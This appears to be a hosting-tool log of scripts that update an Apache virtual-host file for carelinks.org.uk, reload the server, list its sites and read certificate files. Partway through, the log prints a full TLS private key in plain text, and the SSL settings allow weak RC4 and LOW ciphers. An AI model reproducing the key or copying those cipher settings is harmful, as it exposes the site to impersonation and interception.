show_file "/etc/apache2/sites-enabled/carelinks_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-27 06:00:37: 

chmod 755 /tmp/pkp105342; /tmp/pkp105342; rm /tmp/pkp105342

2025-10-27 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 44

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-27 06:00:37: 

PUT: /tmp/pkp604253

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf= 1'
fi


2025-10-27 06:00:37: 

chmod 755 /tmp/pkp604253; /tmp/pkp604253; rm /tmp/pkp604253

2025-10-27 06:00:37: 




2025-10-27 06:00:37: 

PUT: /tmp/pkp684501

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-27 06:00:37: 

chmod 755 /tmp/pkp684501; /tmp/pkp684501; rm /tmp/pkp684501

2025-10-27 06:00:37: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-27 06:00:37: Establishing a connection
2025-10-27 06:00:37: 

PUT: /tmp/pkp299496

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-27 06:00:37: 

chmod 755 /tmp/pkp299496; /tmp/pkp299496; rm /tmp/pkp299496

2025-10-27 06:00:37: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-27 06:00:37: 

PUT: /tmp/pkp803010

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-27 06:00:37: 

chmod 755 /tmp/pkp803010; /tmp/pkp803010; rm /tmp/pkp803010

2025-10-27 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf	1403

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-27 06:00:37: 

PUT: /tmp/pkp284471

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-27 06:00:37: 

chmod 755 /tmp/pkp284471; /tmp/pkp284471; rm /tmp/pkp284471

2025-10-27 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt	5385
64:34:3f:64:38:d1:e7:12:29:8d:e3:a8:f7:95:0e:21

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBcjgwF6tV3LL71O4OhCH3IVyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI3MDUwMjA2WhcNMjYwMTI1MDUwMjA1WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAnib/5zjqcxH3bNZiOgx/r0v2x2LKJ8UUCJuS2xkUZBXgUdM35mmuzS0GLInL
SANvTNRARWqgVyNZ/RYFbrGpZb169V2vhK3/L2u971xT3ExyJbc/rbZFw7jw6peK
ky03FHVT64Fko+P6zr47TUm8kQEqPo3Zu4sclTXjFgKYikmtGB5cl8kvnnzqEjBt
8kAg8Nmpp5RIiRcaIad8yXeq1QfY68RwC2eLD18Mu3Bqak3/oNtyT1DcX5o4CmH3
2ayStWqOgdPRE4TjDHx0e3DQalReTZAuDRSRNPnWpiIVlNMcp/hF15MEZSipK1qx
T32QFLeYybHGtdItY7UDF090CQIDAQABo4ICOTCCAjUwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT2IJ8fHBevywcV7JDxS2ezgtMphTAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1Ud
HwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE1LmNybDCCAQYG
CisGAQQB1nkCBAIEgfcEgfQA8gB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmiRBFF8AAAQDAEgwRgIhAK22lcVyHr4s2/We0o4tOZvrg64i9uaS
0Xie3jHYCNerAiEA1jlTO16mLHpTX6iqHiKLtiBDIDuWEYl2TYTbe+pLOncAdwAZ
htTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZokQRRcAAAEAwBIMEYC
IQDKlEgHTE4uu1bhuQcMxBpsPOKuKqhNbjaiyhsUrtAPHAIhALrZ7UWKoNl+RZxf
P9kK63+fC2e4m1tdZWhKB3wh4VK0MA0GCSqGSIb3DQEBCwUAA4IBAQCHnHBRs/9i
csDndbzwlbfw8cJ1ZK+69F9jidcgxgrQ6kxjO6OEmUIbXDgZvQturg2VabU6rMRM
Uh8SMPSUPSNGwJKGyBSKGtaQkvTpqF26/vaBRNC3TF142doWHJuy4uFOpC2ydItZ
dDCTQkH/YoCzSwqnPuUxBl3xy45s0dlhDJ4BxcxR0YBxlgHgMzoFA0iOnRR2ok/X
0BHUIyoI8NeopMB6rnVwAB6ih/xkfanUuRQumaQewC8Z81vMT+Rw3wEgs1rOGtbv
/z70leJUQ4rrZwXiAGPiuinIjP5anRGNmkZC4/SyWKDTBsj0/XQJvlgKXtPf7Mow
ew+A27Qvqa2z
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCeJv/nOOpzEfds
1mI6DH+vS/bHYsonxRQIm5LbGRRkFeBR0zfmaa7NLQYsictIA29M1EBFaqBXI1n9
FgVusallvXr1Xa+Erf8va73vXFPcTHIltz+ttkXDuPDql4qTLTcUdVPrgWSj4/rO
vjtNSbyRASo+jdm7ixyVNeMWApiKSa0YHlyXyS+efOoSMG3yQCDw2amnlEiJFxoh
p3zJd6rVB9jrxHALZ4sPXwy7cGpqTf+g23JPUNxfmjgKYffZrJK1ao6B09EThOMM
fHR7cNBqVF5NkC4NFJE0+damIhWU0xyn+EXXkwRlKKkrWrFPfZAUt5jJsca10i1j
tQMXT3QJAgMBAAECggEAJ43rfOIQSR1aO59Wy9vqZ2ZhXzbHBrFUtF5smV2paurJ
ws1H8tnFvU0geS0xaV5qjNWdCX+EgKa30AOc8jV+/5InWYzH5DA8XZjd1SrLUpLQ
DbzKMWEgC7aKkrG6F9s8JmK9zW38RL01MlYDsO3bOo0HCsQhi7VcPblPhWa6zgMA
j2cu3FJvYBI8L3kzYPTctQaVEqvaWVON5P6HrsPN6tKZ3//AAgCQRVHK9ZiJB81O
lESyYaTC9xlgjnb21SGDyQLwM8kG3EvqTyvM7FfCkryRTuf6nkKieBiiaMupeCZK
KMTFsLn71d4MCTHoSA3s1fwvbGziXAfQfx5Op9y0HQKBgQDQp1esQQBPkqFbxJq5
XEMZrcYaocMo9Las6/bpLrBC8qJEJFsyiNULugWcNAxTtOFtcYxKg/IEkLZFDWkr
bjahF4GfLMXsNiC1eTktppBCtdalckYVR6C9glyfEtwQ8toTeQjGjVpcSJ3V7fVc
6RDrJZQDn2Ur5pkVlG/fKPnOowKBgQDCCgrz0WJIemkFza4mgOZfFetXBu1MasFd
uTB+590GyoIe3ehHlnYJWriZAWjDsSewMbnJiFGa0h45/dae+A0taUPMifcww8vf
z2xB+NXjNScWJzCldRuabfRQBuEWnMKR57+OsoqM6B0HorJ6DnVwaT4koCp7Zv/L
99V9C+j5YwKBgQCb/pBwiwRVeXXDqyBWNqFAAIhcftXut84fSCcIPMywsMAaG+hG
xsApDUGGf+87Yb8r2LmfODhnq11qENWxD6wuEenp/EpZCDq6ElBqTd4K0fIRLXcy
D6QgKudeUnZPAZGC/3lNIH8PAYdnWomXlfP9KdIYR0IXaUbIOHrPJ85j6wKBgE3d
b9W1sWX6UUi15+ulkEyZ5C2xJuqicGQm23Iho02FWEAAtqR7mXRZhnhH232kCpQm
8DISVQT2ypBk74otakRN2Josxxg3igmPGBdFPreFbeDy6w+KdgA7nW27xPmpAF9C
i1k9BmJTBss4m7xlLvVkFj7mUwXgKEf2dSJP9DaXAoGADD+lR/eHisq6A1Lxi8u9
qh2atdj11VPIHWfkrGfXMdNicofP+r3CO/JvVNYvsl/U7OjkROrFRyY0QpPglRRa
cbG9r+L6fi/oD2AAbrWKmdD+E5RUa/oCLnCdD1rAQ0wKH/Y/M4MRZKnlkRWFStp7
zK/LYHeoX/tTQ6WnDDFOKQ4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-27 06:00:37: Establishing a connection
2025-10-27 06:00:38: Establishing a connection
2025-10-27 06:00:38: 

PUT: /tmp/pkp741032

#!/bin/bash
if [ -d "/var/www/christadelphian_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-27 06:00:38: 

chmod 755 /tmp/pkp741032; /tmp/pkp741032; rm /tmp/pkp741032

2025-10-27 06:00:38: 


1


2025-10-27 06:00:38: Establishing a connection
2025-10-27 06:00:38: 

PUT: /tmp/pkp573846

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
cat > IKxE_NxfD6CRURqw7gXSietkqSek3IdyWAa9XLU914w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
IKxE_NxfD6CRURqw7gXSietkqSek3IdyWAa9XLU914w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 IKxE_NxfD6CRURqw7gXSietkqSek3IdyWAa9XLU914w


2025-10-27 06:00:39: 

chmod 755 /tmp/pkp573846; /tmp/pkp573846; rm /tmp/pkp573846

2025-10-27 06:00:39: 




2025-10-27 06:00:42: Establishing a connection
2025-10-27 06:00:42: 

PUT: /tmp/pkp796765

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
rm IKxE_NxfD6CRURqw7gXSietkqSek3IdyWAa9XLU914w


2025-10-27 06:00:43: 

chmod 755 /tmp/pkp796765; /tmp/pkp796765; rm /tmp/pkp796765

2025-10-27 06:00:43: 




2025-10-27 06:00:43: Establishing a connection
2025-10-27 06:00:43: 

PUT: /tmp/pkp948614

#!/bin/bash
temp_file=$(mktemp)
TARGET=ef56788a9be5d522516b6c274e285339.crt

cat > $temp_file <<'endmsg'
5c:f1:b3:5e:51:0d:47:68:83:70:fb:83:f6:78:51:97

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBZZGqBWbTKTu2cQTm4QpoulOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMjExWhcNMjYwMTI1MDUwMjEwWjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDU3IGZnPCOnbpjw44xCkAQwj8UP8tqEvrcBmHO28w8YMjKdMsV9rxm
V0ucCOXGvDe+sKJzC37fRuGmQJOh0Npc/LWb1XSyQ/04AzeywOknuBubmDz4baev
c1CVh3DNSMnCRfAmdBbyeDBzeSxiXWxbliYpl7Cztvd/27cEssPiZZP/a2YIVE7A
XVN1TeMwUCerH8OZkTvTzHeU325P2/k1c5fGbkpPH7un4ORAbISboGg76wjljKeE
M+SFHLWuAvXbxtnIcy9auV2DRVZvu3d7j9O8Rx49zxulx0d5AxPEZDgtN7bhuXhb
